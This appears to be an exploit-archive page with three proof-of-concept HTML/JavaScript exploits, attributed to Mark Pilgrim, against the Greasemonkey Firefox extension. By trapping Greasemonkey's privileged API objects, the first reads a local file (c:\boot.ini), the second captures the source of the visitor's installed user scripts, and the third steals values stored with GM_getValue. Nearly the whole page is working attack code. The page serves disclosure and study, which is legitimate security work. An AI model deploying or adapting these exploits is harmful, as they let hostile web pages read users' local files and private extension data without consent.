Greasemonkey Firefox Extension Arbitrary File Disclosure Exploit// Proof of concept exploits by Mark Pilgrim
// #1 - Will disclose the contents of c:\boot.ini
<html>
<head>
<script type="text/javascript">
window._GM_xmlhttpRequest = null;
function trapGM03(sPropertyName, sOldValue, sNewValue) {
window._GM_xmlhttpRequest = window.GM_xmlhttpRequest;
return sNewValue;
}
function trapGM04(sPropertyName, sOldValue, sNewValue) {
window._GM_xmlhttpRequest = sNewValue[0];
return sNewValue;
}
function checkGM() {
if (window._GM_xmlhttpRequest) {
window._GM_xmlhttpRequest({method: 'GET', url: 'file:///c:/boot.ini', onload:
function(oResponseDetails) { document.body.innerHTML = '<pre>' +
oResponseDetails.responseText; }});
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM03);
window.watch('GM_apis', trapGM04);
window.addEventListener('load', checkGM, true);
}
</script>
<title>GM_xmlhttpRequest leakage demo</title>
</head>
<body>
</body>
</html>
----------------------------------------------------------------------------------------
// #2 - User Scripts Disclosure
<html>
<head>
<script type="text/javascript">
window._GM_scripts = [];
document._numPreviousScripts = document.getElementsByTagName('script').length;
function trapInsertScript(event) {
var doc = event.currentTarget;
var arScripts = doc.getElementsByTagName('script');
if (arScripts.length > document._numPreviousScripts) {
window._GM_scripts.push(arScripts[document._numPreviousScripts].innerHTML);
}
}
function trapGM(sPropertyName, sOldValue, sNewValue) {
document.addEventListener('DOMNodeInserted', trapInsertScript, true);
return sNewValue;
}
function checkGM() {
document.removeEventListener('DOMNodeInserted', trapInsertScript, true);
var elmMessage = document.getElementById('message');
if (!window._GM_scripts.length) {
elmMessage.innerHTML = 'You do not appear to be running any Greasemonkey scripts,
or the test failed for some reason. Try installing some user scripts that run on all pages,
then refresh this page.';
return; }
var elmForm = document.getElementById('f');
for (var i = 0; i < window._GM_scripts.length; i++) {
var elmTextarea = document.createElement('textarea');
elmTextarea.rows = 20;
elmTextarea.cols = 80;
elmTextarea.value = window._GM_scripts[i];
elmForm.appendChild(elmTextarea);
elmForm.appendChild(document.createElement('br'));
if (!elmMessage.innerHTML) {
elmMessage.innerHTML = 'You appear to be running the following Greasemonkey user
scripts on this page:';
}
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM); // GM 0.3
window.watch('GM_apis', trapGM); // GM 0.4
window.addEventListener('load', checkGM, true);
}
</script>
<title>Greasemonkey script leakage demo</title>
</head>
<body>
<p id="message"></p>
<form id="f"></form>
</body>
</html>
----------------------------------------------------------------------------------------
// #3 - GM_setValue / GM_getValue Information disclosure
<html>
<head>
<script type="text/javascript">
window._GM_getValue = [];
function trapGM03(sPropertyName, sOldValue, sNewValue) {
window._GM_getValue.push(window.GM_getValue);
return sNewValue;
}
function trapGM04(sPropertyName, sOldValue, sNewValue) {
window._GM_getValue.push(sNewValue[3]);
return sNewValue;
}
function checkGM() {
if (window._GM_getValue.length) {
for (var i = 0; i < window._GM_getValue.length; i++) {
var fGetValue = window._GM_getValue[i];
var sValue = fGetValue('my.secret.key');
if (sValue) {
document.getElementById('message').innerHTML = 'GM_getValue("my.secret.key") =
' + sValue;
break;
}
}
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM03);
window.watch('GM_apis', trapGM04);
window.addEventListener('load', checkGM, true);
}
</script>
<title>Greasemonkey function leakage demo</title>
</head>
<body>
<p id="message">Install <a href="mysecretkey.user.js">mysecretkey.user.js</a>,
then refresh this page.</p>
<-- mysecretkey.user.js contains : GM_setValue('my.secret.key', 'f00bar'); -->
</body>
</html>